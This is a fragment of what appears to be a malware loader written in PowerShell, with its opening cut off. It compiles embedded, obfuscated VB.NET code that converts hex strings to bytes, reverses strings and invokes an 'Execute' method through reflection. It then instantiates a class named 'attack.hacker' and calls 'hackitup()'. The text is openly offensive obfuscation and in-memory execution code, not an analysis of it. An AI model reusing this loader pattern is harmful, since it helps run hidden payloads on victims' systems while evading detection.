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            Dim lhlcvdqsklvjslvjlbvdk5454 As Object = New Object() {aagdihelked, clispojpdferf6546v}
            azsmljvdkjlfv6546sd.[GetType]("xxxxvvvvxxxxx.MSMKLJLIJKLHJKGYUGLJH").InvokeMember("Execute", BindingFlags.InvokeMethod, Nothing, Nothing, CType(lhlcvdqsklvjslvjlbvdk5454, Object()))

        End Sub
        Public Shared Function HexStrToByteArray(ByVal str As String) As Byte()
            Dim hexindex As Dictionary(Of String, Byte) = New Dictionary(Of String, Byte)()

            For i As Integer = 0 To 255
                hexindex.Add(i.ToString("X2"), CByte(i))
            Next

            Dim hexres As List(Of Byte) = New List(Of Byte)()

            For i As Integer = 0 To str.Length - 1 Step 2
                hexres.Add(hexindex(str.Substring(i, 2)))
            Next

            Return hexres.ToArray()
        End Function

        Public Shared Function ReverseString(ByVal s As String) As String
            Dim arr As Char() = s.ToCharArray()
            Array.Reverse(arr)
            Return New String(arr)
        End Function
    End Class
End Namespace
"@


    Add-Type -TypeDefinition $code -Language VisualBasic;

$instance = New-Object attack.hacker;
$instance.hackitup();






